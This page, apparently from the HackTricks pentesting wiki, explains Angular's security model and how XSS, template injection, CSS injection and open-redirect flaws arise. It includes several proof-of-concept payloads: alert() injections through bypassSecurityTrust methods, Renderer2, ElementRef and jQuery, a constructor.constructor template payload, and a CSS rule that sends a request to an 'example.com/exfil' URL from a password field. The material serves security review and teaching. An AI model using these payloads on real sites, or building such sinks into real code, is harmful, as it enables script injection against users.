angular.md (31181B)
1 --- 2 title: "Angular" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/angular.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/angular.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Angular 14 15 ## The Checklist 16 17 Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).<sup>[[5]](#references)</sup> 18 19 * [ ] Angular is considered a client-side framework and is not expected to provide server-side protection 20 * [ ] Sourcemap for scripts is disabled in the project configuration 21 * [ ] Untrusted user input is always interpolated or sanitized before being used in templates 22 * [ ] The user has no control over server-side or client-side templates 23 * [ ] Untrusted user input is sanitized using an appropriate security context before being trusted by the application 24 * [ ] `BypassSecurity*` methods are not used with untrusted input 25 * [ ] Untrusted user input is not passed to Angular classes such as `ElementRef` , `Renderer2` and `Document`, or other JQuery/DOM sinks 26 27 ## What is Angular 28 29 Angular is a **powerful**, **open-source** front-end framework maintained by **Google**. It uses **TypeScript** to improve code readability and debugging. Angular's template sanitization reduces common client-side vulnerabilities such as **XSS**, but it does not prevent application-logic flaws such as **open redirects**. Angular can also render on the **server side**, so both client- and server-side trust boundaries require review.<sup>[[1]](#references)</sup> 30 31 ## Framework architecture 32 33 In order to better understand the Angular basics, let’s go through its essential concepts. 34 35 A common Angular project has the following structure:<sup>[[6]](#references)</sup> 36 37 ```bash 38 my-workspace/ 39 ├── ... #workspace-wide configuration files 40 ├── src 41 │ ├── app 42 │ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application 43 │ │ ├── app.component.ts #defines the logic for the application's root component 44 │ │ ├── app.component.html #defines the HTML template associated with the root component 45 │ │ ├── app.component.css #defines the base CSS stylesheet for the root component 46 │ │ ├── app.component.spec.ts #defines a unit test for the root component 47 │ │ └── app-routing.module.ts #provides routing capability for the application 48 │ ├── lib 49 │ │ └── src #library-specific configuration files 50 │ ├── index.html #main HTML page, where the component will be rendered in 51 │ └── ... #application-specific configuration files 52 ├── angular.json #provides workspace-wide and project-specific configuration defaults 53 └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace 54 ``` 55 56 According to the documentation, every Angular application has at least one component, the root component (`AppComponent`) that connects a component hierarchy with the DOM. Each component defines a class that contains application data and logic, and is associated with an HTML template that defines a view to be displayed in a target environment. The `@Component()` decorator identifies the class immediately below it as a component, and provides the template and related component-specific metadata. The `AppComponent` is defined in the `app.component.ts` file. 57 58 Angular NgModules declare a compilation context for a set of components that is dedicated to an application domain, a workflow, or a closely related set of capabilities. Every Angular application has a root module, conventionally named `AppModule`, which provides the bootstrap mechanism that launches the application. An application typically contains many functional modules. The `AppModule` is defined in the `app.module.ts` file. 59 60 The Angular `Router` NgModule provides a service for defining navigation paths among application states and view hierarchies. `RouterModule` is configured in `app-routing.module.ts`. 61 62 For data or logic that isn't associated with a specific view, and that you want to share across components, you create a service class. A service class definition is immediately preceded by the `@Injectable()` decorator. The decorator provides the metadata that allows other providers to be injected as dependencies into your class. Dependency injection (DI) lets you keep your component classes lean and efficient. They don't fetch data from the server, validate user input, or log directly to the console; they delegate such tasks to services.<sup>[[2]](#references)[[7]](#references)</sup> 63 64 ## Sourcemap configuration 65 66 Angular compiles TypeScript into JavaScript according to `tsconfig.json` and builds the project according to `angular.json`. The `sourceMap` option enables or disables source maps and provides separate controls for scripts, styles, vendor code, and hidden map references.<sup>[[2]](#references)[[8]](#references)</sup> 67 68 ```json 69 "sourceMap": { 70 "scripts": true, 71 "styles": true, 72 "vendor": false, 73 "hidden": false 74 } 75 ``` 76 77 Source maps support debugging by mapping generated files back to their original sources. Public production maps can disclose otherwise hidden source and make analysis easier. If maps are unavailable, a reviewer can still inspect the compiled JavaScript for insecure patterns.<sup>[[2]](#references)</sup> 78 79 The compiled Angular JavaScript is available in browser developer tools under Sources (or Debugger), commonly as `[id].main.js`. It may end with `//# sourceMappingURL=[id].main.js.map`; setting **`hidden`** to **`true`** omits that pointer but can still generate a map for private error-reporting workflows. Disabling script source maps prevents retrieval of the map, not the compiled JavaScript. Source maps can also be enabled during a build with `ng build --source-map`.<sup>[[2]](#references)</sup> 80 81 ## Data binding 82 83 Binding refers to the process of communication between a component and its corresponding view. It is utilized for transferring data to and from the Angular framework. Data can be passed through various means, such as through events, interpolation, properties, or through the two-way binding mechanism. Moreover, data can also be shared between related components (parent-child relation) and between two unrelated components using the Service feature.<sup>[[2]](#references)[[22]](#references)</sup> 84 85 We can classify binding by data flow:<sup>[[2]](#references)</sup> 86 87 * Data source to view target (includes _interpolation_, _properties_, _attributes_, _classes_ and _styles_); can be applied by using `[]` or `{{}}` in template; 88 * View target to data source (includes _events_); can be applied by using `()` in template; 89 * Two-Way; can be applied by using `[()]` in template. 90 91 Binding can be called on properties, events, and attributes, as well as on any public member of a source directive:<sup>[[9]](#references)</sup> 92 93 | TYPE | TARGET | EXAMPLES | 94 | --------- | -------------------------------------------------------- | -------------------------------------------------------------------- | 95 | Property | Element property, Component property, Directive property | \<img \[alt]="hero.name" \[src]="heroImageUrl"> | 96 | Event | Element event, Component event, Directive event | \<button type="button" (click)="onSave()">Save | 97 | Two-way | Event and property | \<input \[(ngModel)]="name"> | 98 | Attribute | Attribute (the exception) | \<button type="button" \[attr.aria-label]="help">help | 99 | Class | class property | \<div \[class.special]="isSpecial">Special | 100 | Style | style property | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> | 101 102 ## Angular security model 103 104 Angular's design includes encoding or sanitization of all data by default, making it increasingly difficult to discover and exploit XSS vulnerabilities in Angular projects. There are two distinct scenarios for data handling:<sup>[[2]](#references)</sup> 105 106 1. Interpolation or `{{user_input}}`- performs context-sensitive encoding and interprets user input as text; 107 108 ```jsx 109 //app.component.ts 110 test = "<script>alert(1)</script><h1>test</h1>"; 111 112 //app.component.html 113 {{test}} 114 ``` 115 116 Result: `<script>alert(1)</script><h1>test</h1>` 117 2. Binding to properties, attributes, classes and styles or `[attribute]="user_input"` - performs sanitization based on the provided security context. 118 119 ```jsx 120 //app.component.ts 121 test = "<script>alert(1)</script><h1>test</h1>"; 122 123 //app.component.html 124 <div [innerHtml]="test"></div> 125 ``` 126 127 Result: `<div><h1>test</h1></div>` 128 129 There are 6 types of `SecurityContext` :<sup>[[2]](#references)[[10]](#references)[[11]](#references)</sup> 130 131 * `None`; 132 * `HTML` is used, when interpreting value as HTML; 133 * `STYLE` is used, when binding CSS into the `style` property; 134 * `URL` is used for URL properties, such as `<a href>`; 135 * `SCRIPT` is used for JavaScript code; 136 * `RESOURCE_URL` as a URL that is loaded and executed as code, for example, in `<script src>`. 137 138 ## Vulnerabilities 139 140 ### Bypass Security Trust methods 141 142 Angular provides methods that bypass its default sanitization and mark a value as trusted in a specific context, as shown in the following five examples:<sup>[[3]](#references)</sup> 143 144 1. `bypassSecurityTrustUrl` marks the given value as a trusted URL: 145 146 ```jsx 147 //app.component.ts 148 this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()'); 149 150 //app.component.html 151 <a class="e2e-trusted-url" [href]="trustedUrl">Click me</a> 152 153 //result 154 <a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a> 155 ``` 156 2. `bypassSecurityTrustResourceUrl` is used to indicate the given value is a safe resource URL: 157 158 ```jsx 159 //app.component.ts 160 this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png"); 161 162 //app.component.html 163 <iframe [src]="trustedResourceUrl"></iframe> 164 165 //result 166 <iframe _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png"></iframe> 167 ``` 168 3. `bypassSecurityTrustHtml` is used to indicate the given value is safe HTML. Note that inserting `script` elements into the DOM tree in this way will not cause them to execute the enclosed JavaScript code, because of how these elements are added to the DOM tree. 169 170 ```jsx 171 //app.component.ts 172 this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>"); 173 174 //app.component.html 175 <p style="border:solid" [innerHtml]="trustedHtml"></p> 176 177 //result 178 <h1>html tag</h1> 179 <svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg> 180 ``` 181 4. `bypassSecurityTrustScript` marks the given value as trusted JavaScript. It does not make a `<script>` element inserted through `innerHTML` execute; browser DOM insertion semantics still apply. 182 183 ```jsx 184 //app.component.ts 185 this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')"); 186 187 //app.component.html 188 <script [innerHtml]="trustedScript"></script> 189 190 //result 191 - 192 ``` 193 5. `bypassSecurityTrustStyle` is used to indicate the given value is safe CSS. The following example illustrates CSS injection: 194 195 ```jsx 196 //app.component.ts 197 this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)'); 198 199 //app.component.html 200 <input type="password" name="pwd" value="01234" [style]="trustedStyle"> 201 202 //result 203 Request URL: GET example.com/exfil/a 204 ``` 205 206 Angular provides a `sanitize` method to sanitize data before displaying it in views. This method employs the security context provided and cleanses the input accordingly. It is, however, crucial to use the correct security context for the specific data and context. For instance, applying a sanitizer with `SecurityContext.URL` on HTML content does not provide protection against dangerous HTML values. In such scenarios, misuse of security context could lead to XSS vulnerabilities.<sup>[[3]](#references)[[10]](#references)</sup> 207 208 ### HTML injection 209 210 This vulnerability occurs when user input is bound to `innerHTML`, `outerHTML`, or an iframe's `srcdoc`. Angular interprets the value as HTML and sanitizes it with `SecurityContext.HTML`. Benign HTML injection can therefore remain visible while known executable constructs are removed; XSS becomes possible when sanitization is bypassed, an unsafe sink is used, or a sanitizer discrepancy is found.<sup>[[3]](#references)</sup> 211 212 Example of using `innerHTML`: 213 214 ```jsx 215 //app.component.ts 216 import { Component} from '@angular/core'; 217 218 @Component({ 219 selector: 'app-root', 220 templateUrl: './app.component.html' 221 }) 222 export class AppComponent{ 223 //define a variable with user input 224 test = "<script>alert(1)</script><h1>test</h1>"; 225 } 226 227 //app.component.html 228 <div [innerHTML]="test"></div> 229 ``` 230 231 The result is `<div><h1>test</h1></div>`. 232 233 ### Template injection 234 235 #### Client-Side Rendering (CSR) 236 237 Angular leverages templates to construct pages dynamically. The approach entails enclosing template expressions for Angular to evaluate within double curly brackets (`{{}}`). In this way, the framework offers additional functionality. For instance, a template such as `{{1+1}}` would display as 2. 238 239 Typically, Angular escapes user input that could be interpreted as markup or template syntax (for example, characters such as \`< > ' " \`\`). Exploitation may therefore require bypassing these restrictions, such as by using functions that construct JavaScript strings without blacklisted characters. The exact payload depends on the available Angular context, properties, and variables. A template-injection payload may look like this: 240 241 ```jsx 242 //app.component.ts 243 const _userInput = '{{constructor.constructor(\'alert(1)\'()}}' 244 @Component({ 245 selector: 'app-root', 246 template: '<h1>title</h1>' + _userInput 247 }) 248 ``` 249 250 As shown above, `constructor` refers to the object's `constructor` property and may enable arbitrary code execution when attacker input is concatenated into a template that the application compiles at runtime. Normal interpolation treats the same input as data and does not compile it as a new template.<sup>[[3]](#references)</sup> 251 252 #### Server-Side Rendering (SSR) 253 254 Unlike CSR, which occurs in the browser’s DOM, Angular Universal is responsible for SSR of template files. These files are then delivered to the user. Despite this distinction, Angular Universal applies the same sanitization mechanisms used in CSR to enhance SSR security. A template injection vulnerability in SSR can be spotted in the same way as in CSR, because the used template language is the same. 255 256 Of course, there also is a possibility of introducing new template injection vulnerabilities when employing third-party template engines such as Pug and Handlebars.<sup>[[3]](#references)[[13]](#references)</sup> 257 258 ### XSS 259 260 #### DOM interfaces 261 262 As previously stated, we can directly access the DOM using the _Document_ interface. If user input is not validated beforehand, it can lead to cross-site scripting (XSS) vulnerabilities.<sup>[[23]](#references)</sup> 263 264 We used the `document.write()` and `document.createElement()` methods in the examples below:<sup>[[4]](#references)[[12]](#references)</sup> 265 266 ```jsx 267 //app.component.ts 1 268 import { Component} from '@angular/core'; 269 270 @Component({ 271 selector: 'app-root', 272 template: '' 273 }) 274 export class AppComponent{ 275 constructor () { 276 document.open(); 277 document.write("<script>alert(document.domain)</script>"); 278 document.close(); 279 } 280 } 281 282 //app.component.ts 2 283 import { Component} from '@angular/core'; 284 285 @Component({ 286 selector: 'app-root', 287 template: '' 288 }) 289 export class AppComponent{ 290 constructor () { 291 var d = document.createElement('script'); 292 var y = document.createTextNode("alert(1)"); 293 d.appendChild(y); 294 document.body.appendChild(d); 295 } 296 } 297 298 //app.component.ts 3 299 import { Component} from '@angular/core'; 300 301 @Component({ 302 selector: 'app-root', 303 template: '' 304 }) 305 export class AppComponent{ 306 constructor () { 307 var a = document.createElement('img'); 308 a.src='https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/1'; 309 a.setAttribute('onerror','alert(1)'); 310 document.body.appendChild(a); 311 } 312 } 313 ``` 314 315 #### Angular classes 316 317 There are some classes that can be used to work with DOM elements in Angular: `ElementRef`, `Renderer2`, `Location` and `Document`. A detailed description of the last two classes is given in the **Open redirects** section. The main difference between the first two is that the `Renderer2` API provides a layer of abstraction between the DOM element and the component code, whereas `ElementRef` just holds a reference to the element. Therefore, according to Angular documentation, `ElementRef` API should only be used as a last resort when direct access to the DOM is needed.<sup>[[4]](#references)[[14]](#references)[[15]](#references)[[16]](#references)</sup> 318 319 * `ElementRef` contains the property `nativeElement`, which can be used to manipulate the DOM elements. However, improper usage of `nativeElement` can result in an XSS injection vulnerability, as shown below:<sup>[[4]](#references)</sup> 320 321 ```tsx 322 //app.component.ts 323 import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core'; 324 325 @Component({ 326 selector: 'app-root', 327 templateUrl: './app.component.html', 328 styleUrls: ['./app.component.css'] 329 }) 330 export class AppComponent { 331 ... 332 constructor(private elementRef: ElementRef) { 333 const s = document.createElement('script'); 334 s.type = 'text/javascript'; 335 s.textContent = 'alert("Hello World")'; 336 this.elementRef.nativeElement.appendChild(s); 337 } 338 } 339 ``` 340 * Despite the fact that `Renderer2` provides API that can safely be used even when direct access to native elements is not supported, it still has some security flaws. With `Renderer2`, it is possible to set attributes on an HTML element using the `setAttribute()` method, which has no XSS prevention mechanisms.<sup>[[4]](#references)</sup> 341 342 ```tsx 343 //app.component.ts 344 import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core'; 345 346 @Component({ 347 selector: 'app-root', 348 templateUrl: './app.component.html', 349 styleUrls: ['./app.component.css'] 350 }) 351 export class AppComponent { 352 353 public constructor ( 354 private renderer2: Renderer2 355 ){} 356 @ViewChild("img") img!: ElementRef; 357 358 addAttribute(){ 359 this.renderer2.setAttribute(this.img.nativeElement, 'src', '1'); 360 this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)'); 361 } 362 } 363 364 //app.component.html 365 <img #img> 366 <button (click)="setAttribute()">Click me!</button> 367 ``` 368 * To set the property of a DOM element, you can use `Renderer2.setProperty()` method and trigger an XSS attack:<sup>[[4]](#references)</sup> 369 370 ```tsx 371 //app.component.ts 372 import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core'; 373 374 @Component({ 375 selector: 'app-root', 376 templateUrl: './app.component.html', 377 styleUrls: ['./app.component.css'] 378 }) 379 export class AppComponent { 380 381 public constructor ( 382 private renderer2: Renderer2 383 ){} 384 @ViewChild("img") img!: ElementRef; 385 386 setProperty(){ 387 this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>'); 388 } 389 } 390 391 //app.component.html 392 <a #a></a> 393 <button (click)="setProperty()">Click me!</button> 394 ``` 395 396 During our research, we also examined the behavior of other `Renderer2` methods, such as `setStyle()`, `createComment()`, and `setValue()`, in relation to XSS and CSS injections. However, we were unable to find any valid attack vectors for these methods due to their functional limitations.<sup>[[4]](#references)</sup> 397 398 #### jQuery 399 400 jQuery is a JavaScript library that may be used alongside Angular to manipulate DOM objects. Methods that accept HTML strings can introduce XSS when passed untrusted input, so the following patterns remain relevant in Angular projects that also depend on jQuery.<sup>[[4]](#references)[[18]](#references)</sup> 401 402 * The `html()` method gets the HTML contents of the first element in the set of matched elements or sets the HTML contents of every matched element. However, by design, any jQuery constructor or method that accepts an HTML string can potentially execute code. This can occur by injection of `<script>` tags or use of HTML attributes that execute code as shown in the example.<sup>[[4]](#references)</sup> 403 404 ```tsx 405 //app.component.ts 406 import { Component, OnInit } from '@angular/core'; 407 import * as $ from 'jquery'; 408 409 @Component({ 410 selector: 'app-root', 411 templateUrl: './app.component.html', 412 styleUrls: ['./app.component.css'] 413 }) 414 export class AppComponent implements OnInit 415 { 416 ngOnInit() 417 { 418 $("button").on("click", function() 419 { 420 $("p").html("<script>alert(1)</script>"); 421 }); 422 } 423 } 424 425 //app.component.html 426 <button>Click me</button> 427 <p>some text here</p> 428 ``` 429 * The `jQuery.parseHTML()` method uses native methods to convert the string to a set of DOM nodes, which can then be inserted into the document. 430 431 ```tsx 432 jQuery.parseHTML(data [, context ] [, keepScripts ]) 433 ``` 434 435 As mentioned before, most jQuery APIs that accept HTML strings will run scripts that are included in the HTML. The `jQuery.parseHTML()` method does not run scripts in the parsed HTML unless `keepScripts` is explicitly `true`. However, it is still possible in most environments to execute scripts indirectly; for example, via the `<img onerror>` attribute.<sup>[[4]](#references)[[17]](#references)</sup> 436 437 ```tsx 438 //app.component.ts 439 import { Component, OnInit } from '@angular/core'; 440 import * as $ from 'jquery'; 441 442 @Component({ 443 selector: 'app-root', 444 templateUrl: './app.component.html', 445 styleUrls: ['./app.component.css'] 446 }) 447 export class AppComponent implements OnInit 448 { 449 ngOnInit() 450 { 451 $("button").on("click", function() 452 { 453 var $palias = $("#palias"), 454 str = "<img src=1 onerror=alert(1)>", 455 html = $.parseHTML(str), 456 nodeNames = []; 457 $palias.append(html); 458 }); 459 } 460 } 461 462 //app.component.html 463 <button>Click me</button> 464 <p id="palias">some text</p> 465 ``` 466 467 ### Open redirects 468 469 #### DOM interfaces 470 471 According to the W3C documentation, the `window.location` and `document.location` objects are treated as aliases in modern browsers. That is why they have similar implementation of some methods and properties, which might cause an open redirect and DOM XSS with `javascript://` schema attacks as mentioned below.<sup>[[4]](#references)</sup> 472 473 * `window.location.href`(and `document.location.href`) 474 475 The canonical way to get the current DOM location object is using `window.location`. It can also be used to redirect the browser to a new page. As a result, having control over this object allows us to exploit an open redirect vulnerability. 476 477 ```tsx 478 //app.component.ts 479 ... 480 export class AppComponent { 481 goToUrl(): void { 482 window.location.href = "https://google.com/about" 483 } 484 } 485 486 //app.component.html 487 <button type="button" (click)="goToUrl()">Click me!</button> 488 ``` 489 490 The exploitation process is identical for the following scenarios. 491 * `window.location.assign()`(and `document.location.assign()`) 492 493 This method causes the window to load and display the document at the URL specified. If we have control over this method, it might be a sink for an open redirect attack. 494 495 ```tsx 496 //app.component.ts 497 ... 498 export class AppComponent { 499 goToUrl(): void { 500 window.location.assign("https://google.com/about") 501 } 502 } 503 ``` 504 * `window.location.replace()`(and `document.location.replace()`) 505 506 This method replaces the current resource with the one at the provided URL. 507 508 This differs from the `assign()` method is that after using `window.location.replace()`, the current page will not be saved in session History. However, it is also possible to exploit an open redirect vulnerability when we have control over this method. 509 510 ```tsx 511 //app.component.ts 512 ... 513 export class AppComponent { 514 goToUrl(): void { 515 window.location.replace("http://google.com/about") 516 } 517 } 518 ``` 519 * `window.open()` 520 521 The `window.open()` method takes a URL and loads the resource it identifies into a new or existing tab or window. Having control over this method might also be an opportunity to trigger an XSS or open redirect vulnerability. 522 523 ```tsx 524 //app.component.ts 525 ... 526 export class AppComponent { 527 goToUrl(): void { 528 window.open("https://google.com/about", "_blank") 529 } 530 } 531 ``` 532 533 #### Angular classes 534 535 * According to Angular documentation, Angular `Document` is the same as the DOM document, which means it is possible to use common vectors for the DOM document to exploit client-side vulnerabilities in the Angular. `Document.location` properties and methods might be sinks for successful open redirect attacks as shown in the example:<sup>[[4]](#references)[[19]](#references)</sup> 536 537 ```tsx 538 //app.component.ts 539 import { Component, Inject } from '@angular/core'; 540 import { DOCUMENT } from '@angular/common'; 541 542 @Component({ 543 selector: 'app-root', 544 templateUrl: './app.component.html', 545 styleUrls: ['./app.component.css'] 546 }) 547 export class AppComponent { 548 constructor(@Inject(DOCUMENT) private document: Document) { } 549 550 goToUrl(): void { 551 this.document.location.href = 'https://google.com/about'; 552 } 553 } 554 555 //app.component.html 556 <button type="button" (click)="goToUrl()">Click me!</button> 557 ``` 558 * During the research phase, we also reviewed Angular `Location` class for open redirect vulnerabilities, but no valid vectors were found. `Location` is an Angular service that applications can use to interact with a browser's current URL. This service has several methods to manipulate the given URL - `go()` , `replaceState()`, and `prepareExternalUrl()`. However, we cannot use them for redirection to the external domain. For example:<sup>[[4]](#references)[[20]](#references)</sup> 559 560 ```tsx 561 //app.component.ts 562 import { Component, Inject } from '@angular/core'; 563 import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common'; 564 565 @Component({ 566 selector: 'app-root', 567 templateUrl: './app.component.html', 568 styleUrls: ['./app.component.css'], 569 providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}], 570 }) 571 export class AppComponent { 572 location: Location; 573 constructor(location: Location) { 574 this.location = location; 575 } 576 goToUrl(): void { 577 console.log(this.location.go("http://google.com/about")); 578 } 579 } 580 ``` 581 582 Result: `http://localhost:4200/http://google.com/about` 583 * The Angular `Router` class is primarily used for navigating within the same domain and does not introduce any additional vulnerabilities to the application:<sup>[[4]](#references)[[21]](#references)</sup> 584 585 ```jsx 586 //app-routing.module.ts 587 const routes: Routes = [ 588 { path: '', redirectTo: 'https://google.com', pathMatch: 'full' }] 589 ``` 590 591 Result: `http://localhost:4200/https:` 592 593 The following methods also navigate within the domain’s scope: 594 595 ```jsx 596 const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ] 597 this.router.navigate(['PATH']) 598 this.router.navigateByUrl('URL') 599 ``` 600 601 ## References 602 603 - [1] [Angular](https://angular.io/) 604 - [2] [Angular Security: The Definitive Guide (Part 1)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-1) 605 - [3] [Angular Security: The Definitive Guide (Part 2)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-2) 606 - [4] [Angular Security: The Definitive Guide (Part 3)](https://lsgeurope.com/post/angular-security-the-definitive-guide-part-3) 607 - [5] [Angular Security: Checklist](https://lsgeurope.com/post/angular-security-checklist) 608 - [6] [Workspace and project file structure](https://angular.io/guide/file-structure) 609 - [7] [Introduction to components and templates](https://angular.io/guide/architecture-components) 610 - [8] [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration) 611 - [9] [Binding syntax](https://angular.io/guide/binding-syntax) 612 - [10] [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts) 613 - [11] [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts) 614 - [12] [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md) 615 - [13] [Angular Universal](https://angular.io/guide/universal) 616 - [14] [Angular ElementRef](https://angular.io/api/core/ElementRef) 617 - [15] [Angular Renderer2](https://angular.io/api/core/Renderer2) 618 - [16] [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/) 619 - [17] [jQuery API Documentation](http://api.jquery.com/) 620 - [18] [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9) 621 - [19] [Angular Document](https://angular.io/api/common/DOCUMENT) 622 - [20] [Angular Location](https://angular.io/api/common/Location) 623 - [21] [Angular Router](https://angular.io/api/router/Router) 624 - [22] [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48) 625 - [23] [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)